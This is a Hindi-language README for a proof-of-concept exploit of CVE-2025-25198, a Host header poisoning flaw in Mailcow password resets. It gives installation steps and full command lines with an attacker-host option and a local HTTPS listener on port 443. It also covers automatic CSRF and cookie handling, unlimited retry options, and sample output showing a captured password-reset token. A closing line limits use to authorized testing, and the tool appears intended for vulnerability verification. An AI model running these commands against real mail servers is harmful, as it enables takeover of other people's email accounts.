
CVE-2025-25198 के लिए PoC: Mailcow के लिए स्वचालित होस्ट हेडर पॉइज़निंग परीक्षण - HTTPS श्रोता, स्वचालित कुकी/CSRF हैंडलिंग, पहला रीसेट लिंक कैप्चर करता है।
Proof-of-concept for CVE-2025-25198 एक Host header poisoning समस्या है जो Mailcow password reset flows को प्रभावित करती है।
स्क्रिप्ट पोर्ट 443 पर एक स्थानीय HTTPS लिसनर शुरू करती है, स्वचालित रूप से एक वैध CSRF टोकन प्राप्त करती है, दूषित Host हेडर के साथ पासवर्ड रीसेट अनुक्रम भेजती है, और जब HTTP प्रतिक्रिया या लिसनर पर कॉलबैक से रीसेट लिंक प्राप्त होता है तो रुक जाती है।
Host हेडर के साथ रीसेट फ्लो भेजता है।Python 3.8+
OpenSSL in PATH
sudo/root privileges to bind port 443
Inbound TCP/443 reachable from the target
निर्भरताएँ स्थापित करें:
pip install -r requirements.txt
कोण कोष्ठकों में लिपटे मान प्लेसहोल्डर हैं। उन्हें अपने स्वयं के मानों से बदलें और < या > वर्ण शामिल न करें।
sudo python3 cve_2025_25198.py \
--listen-host 0.0.0.0 \
--base-url <MAILCOW_URL> \
--username <MAILBOX> \
--attacker-host <ATTACKER_HOST> \
--http2
<MAILCOW_URL> # लक्ष्य Mailcow आधार URL. उदाहरण: https://mail.example.com
<MAILBOX> # रीसेट फॉर्म को दिया गया मेलबॉक्स/उपयोगकर्ता। आमतौर पर एक ईमेल पता।
<ATTACKER_HOST> # IP या DNS नाम जिसे लक्ष्य TCP/443 पर पहुंच सकता है।
sudo python3 cve_2025_25198.py \
--listen-host 0.0.0.0 \
--base-url https://mail.cows.com \
--username [email protected] \
--attacker-host 10.10.13.12 \
--http2
उदाहरण आउटपुट:
[2026-05-17T18:30:12Z] [+] HTTPS listener on https://0.0.0.0:443
[2026-05-17T18:30:13Z] [+] Auto CSRF: 0123456789abcdef...
[2026-05-17T18:30:13Z] [>] Sending sequence with poisoned Host
[2026-05-17T18:30:14Z] [HIT] GET /reset-password?token=AAAA-BBBB-CCCC-DDDD ← 10.10.13.12 [200]
╔════════════════════════════════════════════════════════════════════════════════╗
║ RESET LINK FOUND! (listener) ║
╟════════════════════════════════════════════════════════════════════════════════╢
║ https://mail.cows.com/reset-password?token=AAAA-BBBB-CCCC-DDDD ║
║ Target: mail.cows.com ║
╚════════════════════════════════════════════════════════════════════════════════╝
--http2
httpx के माध्यम से HTTP/2 का उपयोग करें। आधुनिक ब्राउज़रों के साथ सर्वोत्तम समानता के लिए अनुशंसित।
--interval <seconds>
प्रयासों और लिसनर प्रतीक्षा विंडो के बीच सेकंड। डिफ़ॉल्ट: 8
--max-attempts <N>
N प्रयासों के बाद रुकें। डिफ़ॉल्ट: 0, जिसका अर्थ है अनिश्चित काल तक पुनः प्रयास।
--cookie '<pairs>'
क्लाइंट कुकी जार को मैन्युअल रूप से सीड करें।
उदाहरण: --cookie 'PHPSESSID=abcdef123456; another=value'
--csrf <TOKEN>
स्वचालित खोज के बजाय ज्ञात CSRF टोकन का उपयोग करें।
--only-final
प्रगति लॉग छुपाएं और केवल अंतिम रीसेट-लिंक बैनर प्रिंट करें।
443 से बाइंड होता है।443 बाइंड करने के लिए sudo या रूट की आवश्यकता होती है।https://<ATTACKER_HOST>/ तक पहुंचने में सक्षम होना चाहिए।server.pem और server.key स्वचालित रूप से उत्पन्न होते हैं।यह PoC अधिकृत सुरक्षा परीक्षण, प्रयोगशाला वातावरण और कमजोरी सत्यापन के लिए अभिप्रेत है। स्पष्ट अनुमति के बिना सिस्टम के विरुद्ध इसका उपयोग न करें।